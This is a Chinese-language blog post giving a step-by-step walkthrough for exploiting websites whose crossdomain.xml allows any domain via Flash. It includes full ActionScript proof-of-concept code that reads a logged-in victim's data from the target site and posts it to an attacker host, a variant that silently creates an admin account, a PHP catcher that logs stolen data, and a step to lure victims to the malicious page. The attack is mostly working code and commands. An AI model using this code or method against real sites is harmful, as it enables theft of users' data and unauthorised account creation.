`

crossdomain.xml

    博客分类:
  • web
 
阅读更多
参考:
https://hackerone.com/reports/43070
http://sethsec.blogspot.in/2014/07/crossdomain-bing.html
http://gursevkalra.blogspot.in/2013/08/bypassing-same-origin-policy-with-flash.html
http://sethsec.blogspot.in/2014/11/crossdomainxml-can-be-overly-permissive_18.html?view=sidebar

crossdomain.xml文件格式:
引用

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>


通常规则:
1. crossdomain.xml文件在根目录下,例如www.secret-site.com/crossdomain.xml
2. crossdomain.xml权限过度自由
3. 在www.secret-site.com 上存在敏感信息或可以执行敏感动作
如果三条都满足,那么www.secret-site.com上的application将会给从恶意网站加载的swf敞开大门,从恶意网站www.malicious-site.com加载的swf现在可以绕过同源策略获得user拥有www.secret-site.com的权限。
主要问题是出在<allow-access-from domain="*">上。
如果https://www.secret-site.com/crossdomain.xml含有错误配置 <allow-access-from domain="*">,但是所有的敏感信息都放在https://secure.secret-site.com那么将不存在风险

在下面的例子中https://www.secret-site.com是含有错误配置crossdomain.xml <allow-access-from domain="*">,
1. 安装Adobe Flex
引用

apt-get install openjdk-6-jdk
mkdir /opt/flex
cd /opt/flex/
wget http://download.macromedia.com/pub/flex/sdk/flex_sdk_4.6.zip
unzip flex_sdk_4.6.zip
chmod -R a+rx /opt/flex/
echo 'export PATH=/opt/flex/bin:$PATH' >> ~/.bashrc
chmod 755 bin/mxmlc

2. 下载Gursev的poc,".as"和".html"文件:
引用

mkdir /var/www/crossdomain
mkdir ~/crossdomain
cd ~
git clone https://github.com/gursev/flash-xdomain-xploit.git
cp flash-xdomain-xploit/xdx.html /var/www/crossdomain/
cp flash-xdomain-xploit/XDomainXploit.as ~/crossdomain/

vi ~/crossdomain/XDomainXploit.as

或者没有git客户端
引用
cd /var/www/crossdomain
wget https://raw.github.com/gursev/flash-xdomain-xploit/master/xdx.html

cd ~/crossdomain
wget https://raw.github.com/gursev/flash-xdomain-xploit/master/XDomainXploit.as

vi ~/crossdomain/XDomainXploit.as

3. 修改ActionScript来满足需要,替换victim URL和attacker URL就可以生成一个GET请求:
// POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// XDomainXploit.as

package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;

public class XDomainXploit extends Sprite {
public function XDomainXploit() {
// Target URL from where the data is to be retrieved
var readFrom:String = [color=blue]"http://www.secret-site.com/account/info";[/color]
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}

private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = [color=blue]"http://malicious-site.com/catcher.php"[/color]
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
}

}


或是下面代码来制作一个POST请求
// POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// POC Modified to send POSTs and append HTTP headers: Seth Art
// XDomainXploit.as

package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLRequestHeader;
public class XDomainXploit3 extends Sprite {
public function XDomainXploit3() {
// Target URL from where the data is to be retrieved
var readFrom:String = "https://www.secret-site.com/admin/add";
var header:URLRequestHeader = new URLRequestHeader("Content-Type", "text/plain; charset=UTF-8");
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.method = URLRequestMethod.POST
readRequest.data = "{\"name\":\"CSRF-Admin\",\"Group\":\"admin\",\"password\":\"password\",\"confirmPassword\":\"password\"}";
readRequest.requestHeaders.push(header);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}

private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = "http://www.malicious-site.com/crossdomain/catcher.php"
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
}

}

4. 使用xmmlc编译ActionScript
引用
/opt/flex/bin/mxmlc ~/crossdomain/XDomainXploit.as

5. 把生成的swf文件放到web的某个目录下
引用
mv ~/crossdomain/XDomainXploit.swf /var/www/crossdomain

6. 做一个catcher 文件。该php文件用来将所有的请求数据记录到/tmp文件夹下
vi /var/www/catcher.php

<?php

$data = file_get_contents("php://input");
$ret = file_put_contents('/tmp/thanks_for_sharing.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
die('Error writing to file');
}
else { 
echo "$ret bytes written to file";
}

?>

7. 安装php
引用
apt-get install php5

8. 设置SSL
这一步骤不是必须的,但是如果你的flash object使用HTTPS通信,并且secure="false" 没有设置,那么就需要设置。
下面两步是制作一个证书,但是你可以购买一个正式的证书,这样user不会出现SSL错误
引用

make-ssl-cert generate-default-snakeoil --force-overwrite
a2enmod ssl

a2ensite default-ssl


9启动web服务器
引用

/etc/init.d/apache2 restart

10.欺骗受害者访问www.malicious-site.com/crossdomain/xdx.html
11. 希望受害者访问的时候登陆了www.secret-site.com
12. 这时就可以收集和分析数据了
cat /tmp/thanks_for_sharing.txt
分享到:
评论

相关推荐

    flash跨域策略文件crossdomain.xml配置详解以及防范措施.docx

    7. 对于不需要跨域访问的站点,可以考虑不在根目录下放置 crossdomain.xml 文件,以默认拒绝所有 Flash 跨域请求。 总结,Flash 跨域策略文件 crossdomain.xml 是控制 Flash 应用程序跨域访问的关键。正确配置 ...

    webloigc 中设置 flex crossdomain.xml 文件

    `crossdomain.xml`文件是Adobe Flex应用程序用于定义安全策略的一个关键组件,它允许来自不同源的Flash Player或Flex客户端与服务器进行通信。本篇文章将深入探讨如何在WebLogic环境中设置这个文件,以及它对跨域...

    ArcGIS server tomcat crossdomain.xml

    当这两个组件结合时,可能会遇到浏览器的同源策略限制,这时候就需要通过`crossdomain.xml`文件来进行跨域配置。 `crossdomain.xml`文件是Adobe Flash Player和某些浏览器遵循的一种安全机制,用于允许特定的跨域...

    xpire-crossdomain-scanner:扫描crossdomain.xml策略以查找过期的域名

    本文将深入探讨`xpire-crossdomain-scanner`工具,它专门用于扫描`crossdomain.xml`文件,以检测潜在的安全漏洞。 `crossdomain.xml`是Adobe Flash Player和某些其他浏览器支持的一种安全策略文件,用于定义一个...

    crossdomain-exploitation-framework:利用过度宽松的 crossdomain.xml 文件所需的一切

    虽然目前还没有多少框架,但您需要利用过度宽松的 crossdomain.xml 文件所需的一切都在这里。 支持的操作系统 卡利 操作系统 下载和设置 root@kali:~ # git clone ...

    tomcat跨域解决方案

    为了解决这类问题,本文将介绍如何通过编写`crossDomain.xml`文件来实现跨域访问。 #### 二、解决方案 为了解决Tomcat在IP和端口不同时引发的跨域问题,可以通过编写并配置`crossDomain.xml`文件来实现跨域支持。...

    crossdomain

    `crossdomain.xml`是服务器端的一个XML文件,它定义了哪些外部源(即其他域名)的Flash或Flex内容可以访问该服务器的资源。这个文件允许跨域资源共享(CORS),使Flex应用能够安全地从其他域获取数据,比如地图服务...

    Azure:Blob存储根内部的Crossdomain.xml

    当涉及到跨域访问时,尤其是对于使用Flash技术的客户端应用,`crossdomain.xml`文件扮演着至关重要的角色。这个文件允许你定义跨域策略,使其他域的资源能够与你的Blob存储进行交互。 `crossdomain.xml`文件是Flash...

    Unity3D教程:关于跨域访问的处理2

    crossdomain.xml 文件的格式是 XML,文件的开头是 &lt;?xml version="1.0"?&gt;,后面是 &lt;cross-domain-policy&gt; 元素,该元素包含了 allow-access-from 元素,allow-access-from 元素指定了允许访问的域名。 例如,以下是...

    ckplayer 播放m3u8

    为了使CKPlayer能播放来自其他服务器的m3u8流,你需要在你的服务器上配置一个正确的`crossdomain.xml`文件,并确保其可被访问。 另外,`index.html`是CKPlayer的主页面,它包含了播放器的HTML结构和初始化脚本;`...

    swfupload上传文档报400解决办法

    `crossdomain.xml`文件是用于设置跨域策略的一个XML文件,它允许Flash应用程序(如SWFUpload)跨越不同的域名进行数据交互。如果该文件缺失或者放置位置不正确,则会导致上传操作失败,并返回400错误。 #### 解决...

    flex 安全沙箱问题备忘

    crossdomain.xml是一个位于网站根目录的XML文件,用于指定哪些域下的内容可以访问该域下的资源。当Flash Player检测到crossdomain.xml文件存在时,会读取其内容并根据其中的设置决定是否允许跨域访问。 在本例中,...

    Flash安全的一些总结WEB安全电脑资料.doc

    Flash安全涉及多个方面,其中最重要的是跨域通信的管理,主要通过`crossdomain.xml`文件进行控制。这个文件是Flash应用程序进行跨域访问时的权限配置文件,它定义了哪些域的Flash内容可以访问和交互数据。以下是关于...

    flex 沙箱安全问题

    1. **正确配置crossdomain.xml**:确保服务器端正确部署了crossdomain.xml文件,并且其配置符合需求。如果使用通配符“*”,则表示允许所有域访问;如果要指定某些特定域名,则应替换为具体的域名列表。 2. **检查...

    socket沙箱设置

    当Flash Player在9.0.115.0及以上版本进行Socket通信时,它会检查服务器是否提供了`crossdomain.xml`文件。这个文件定义了哪些外部域的Flash内容可以访问服务器资源。如果缺少此文件,Flash Player会阻止Socket连接...

    web-uploader-master.zip

    《SpringBoot实现大文件前后端分离上传详解》 在现代Web开发中,随着大数据时代的到来,用户对于上传大文件的需求日益增长。SpringBoot作为一个轻量级的Java Web框架,为开发者提供了便捷的后端服务搭建方式。...

Global site tag (gtag.js) - Google Analytics